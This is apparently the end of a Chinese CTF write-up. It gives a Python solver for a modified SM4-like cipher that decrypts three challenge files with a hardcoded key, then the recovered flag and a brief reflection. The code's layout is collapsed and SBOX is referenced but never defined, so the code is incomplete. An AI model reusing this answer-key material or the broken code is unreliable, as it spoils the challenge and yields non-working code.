FK = bytes.fromhex("a4 86 1f 3b 2d 33 f7 83 8e ba ad 58 73 3f dc 71")CK = bytes.fromhex( "06 87 14 9a a4 04 79 65 2d 5d 53 b0 a7 7a 5c 86" "d4 f2 fe f7 8b 3a 9d f0 90 03 cb 67 aa d1 b1 f3" "e3 ed 41 19 50 56 d5 cd 12 a6 2a 27 c6 1d 7b 39" "6b ab 7a 76 44 90 a3 71 92 f5 77 8a 07 79 5a 7b" "51 82 d1 97 cb 60 19 ca 34 41 b5 44 0a c7 30 3f" "72 6c b3 5e 16 e7 69 55 2c 83 bf 51 bc 95 3a f1" "24 f8 d9 92 15 ed 5c e7 65 d8 58 45 cd 50 52 be" "94 8e 65 8f c0 5d ea b4 ce 7f 37 b0 62 47 f4 4d")
MASK = 0xFFFFFFFF
def rol(x, n): x &= MASK return ((x << n) | (x >> (32 - n))) & MASK
def tau(a): return ( (SBOX[(a >> 24) & 0xFF] << 24) | (SBOX[(a >> 16) & 0xFF] << 16) | (SBOX[(a >> 8) & 0xFF] << 8) | SBOX[a & 0xFF] )
def split_words(data, endian): return [int.from_bytes(data[i:i + 4], endian) for i in range(0, len(data), 4)]
def key_expansion(key): mk = split_words(key, "big") fk = split_words(FK, "little") ck = split_words(CK, "little")
k = [mk[i] ^ fk[i] for i in range(4)] rk = []
for i in range(24): t = tau(ck[i] ^ k[i + 1] ^ k[i + 2] ^ k[i + 3]) new_k = (k[i] ^ t ^ rol(t, 13) ^ rol(t, 23)) & MASK k.append(new_k) rk.append(new_k)
return rk
def crypt_block(block, round_keys): x = split_words(block, "big")
for i in range(24): t = tau(round_keys[i] ^ x[i + 1] ^ x[i + 2] ^ x[i + 3]) new_x = (x[i] ^ t ^ rol(t, 2) ^ rol(t, 10) ^ rol(t, 18) ^ rol(t, 24)) & MASK x.append(new_x)
return b"".join(w.to_bytes(4, "big") for w in [x[-1], x[-2], x[-3], x[-4]])
def pkcs7_unpad(data): pad = data[-1] if 1 <= pad <= 16 and data.endswith(bytes([pad]) * pad): return data[:-pad] return data
def decrypt(ciphertext, key): rk = key_expansion(key) plain = b"".join( crypt_block(ciphertext[i:i + 16], rk[::-1]) for i in range(0, len(ciphertext), 16) ) return pkcs7_unpad(plain)
def main(): key = b"passvkcDKWLAA45o"
ciphertexts = { "readme.txt": "4fe09336577aa52de2d0de1489784d0f6306686ceeae6b28e578c70f5f74fa2a9e48d441c78c3633e2f6335ff00722818ab4c977d77d6dd7d2595640ebf6abc4229230cbb0a238bd1f151f69026e5d8d45e47c89898cbc2875d62933b7cef22379f97a499e4716b92ba8c6eb687d56e385ef94071d2ccd18fc72f4d670d680d801216d06e1a1214041fb7f66fef6c55b8d9b94a9231f60504ed77231c0db127a8647fdb8ed958c259c56d7638f4bf3e1", "flag.txt": "d0edd4a1620f6f01db93699e7291bc570b7d8cdd4fa0a69a0839ca4b86a7bd8daacd74313e64da169697af402033a761", "config.txt": "649d0fa1844f4a8ab171ab4150fc0155a89df8a4c568c63670293841c771bb63191efd24174a0039a2b80ab17a4d8cfd71a112e23c5ccf1927c933eb987ad533", }
for name, hex_ct in ciphertexts.items(): pt = decrypt(bytes.fromhex(hex_ct), key) print(f"--- {name} ---") print(pt.decode("utf-8")) print()
if __name__ == "__main__": main()解出flag: dart{f4b547fc-b3d0-44c3-bf21-8f3fb5ad3220}
总结
自己的水平依旧拉完了,不过这次我们得到了历练的机会,同时也是我们反思自身不足并改进之的最好帮手。
什么叫我们要打复赛??